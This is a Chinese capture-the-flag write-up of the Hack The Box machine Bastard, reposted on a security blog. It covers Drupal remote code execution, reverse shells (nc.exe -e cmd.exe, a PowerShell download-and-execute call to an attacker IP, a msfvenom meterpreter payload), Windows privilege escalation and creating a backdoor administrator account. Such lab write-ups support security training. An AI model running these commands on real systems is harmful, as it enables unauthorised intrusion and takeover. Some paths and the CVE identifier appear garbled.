Hack The Box-Bastard

admin 2022年6月21日00:52:12评论23 views字数 2232阅读7分26秒阅读模式


发布时间 2017年
系统
Windows
难度 中等

Hack The Box-Bastard



端口扫描

nmap -sV -sC -sS -n -p- -Pn 10.10.10.9

PORT      STATE SERVICE VERSION80/tcp    open  http    Microsoft IIS httpd 7.5|_http-generator: Drupal 7 (http://drupal.org)| http-methods: |_  Potentially risky methods: TRACE| http-robots.txt: 36 disallowed entries (15 shown)| /includes/ /misc/ /modules/ /profiles/ /scripts/| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt|_http-server-header: Microsoft-IIS/7.5|_http-title: Welcome to 10.10.10.9 | 10.10.10.9135/tcp   open  msrpc   Microsoft Windows RPC49154/tcp open  msrpc   Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windows

靶机开放了80(HTTP)、135(RPC)、49154(RPC)端口

80端口是一个drupal 7

nmap还扫描出了36个目录其中CHANGELOG.txt存在drupal的版本信息,版本为7.54


访问80端口

Hack The Box-Bastard

搜索drupal 7的漏洞,发现CVE-2017-7600远程代码执行漏洞

漏洞详细原理参考:https://blog.csdn.net/whatday/article/details/107387212

Hack The Box-Bastard

使用脚本直接打即可,可以进行命令执行

Hack The Box-Bastard

使用nishang的Invoke-PowerShellTcp.ps1进行反弹shell,修改一下脚本的反弹shell的ip和端口

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4444

Hack The Box-Bastard

攻击机Invoke-PowerShellTcp.ps1目录下使用python开启一个暂时的web服务

Hack The Box-Bastard

使用exp去执行powershell命令,直接下载并执行Invoke-PowerShellTcp.ps1脚本,攻击机监听4444端口f

powershell -c iex (new-object system.net.webclient).downloadstring("http://10.10.14.13:8800/Invoke-PowerShellTcp.ps1")

发现行不通,不能反弹shell

换一种,使用smb服务,使用nc进行反弹shell

创建一个smb目录,将nc.exe放到smb目录

Hack The Box-Bastard

然后使用smbserver.py开启服务

python3 /root/桌面/impacket-master/build/scripts-3.9/smbserver.py share smb  


Hack The Box-Bastard

命令执行:\10.10.14.13sharenc.exe -e cmd.exe 10.10.14.13 1234

获得shell

Hack The Box-Bastard

在C:UsersdimitrisDesktop目录下获得user.txt

Hack The Box-Bastard

准备木马,上传到靶机并运行,上线msf

msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=3333 -f exe -o shell.exe 


Hack The Box-Bastard

将shell.exe放在临时web目录下,使用powershell下载到靶机中

powershell -c (new-object system.net.webclient).downloadfile('http://10.10.14.13:8800/shell.exe','C:inetpubdrupal-7.54shell.exe')

Hack The Box-Bastard

Hack The Box-Bastard

msf开启监听端口,运行shell.exe获得meterpreter

Hack The Box-Bastard


可以使用ms18_8120进行提权

部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码

msf:模块exploit/windows/local/ms18_8120_win32k_privesc

Hack The Box-Bastard

获得system权限

获得root.txt

Hack The Box-Bastard


在meterpreter使用run getgui -e开启靶机3389

Hack The Box-Bastard

新建用户,并将用户添加到administrators组中,然后激活

Hack The Box-Bastard

使用redesktop远程桌面登录即可

Hack The Box-Bastard




也可以使用15—051进行提权

上传ms15-015x64.exe

Hack The Box-Bastard

直接使用其执行命令,

Hack The Box-Bastard

msf继续监听端口,使用ms15-015x64.exe运行shell.exe获得system权限

Hack The Box-Bastard

Hack The Box-Bastard

     ▼
更多精彩推荐,请关注我们


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!


Hack The Box-Bastard

原文始发于微信公众号(鸿鹄实验室):Hack The Box-Bastard

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月21日00:52:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hack The Box-Bastardhttp://cn-sec.com/archives/1131002.html

发表评论

匿名网友 填写信息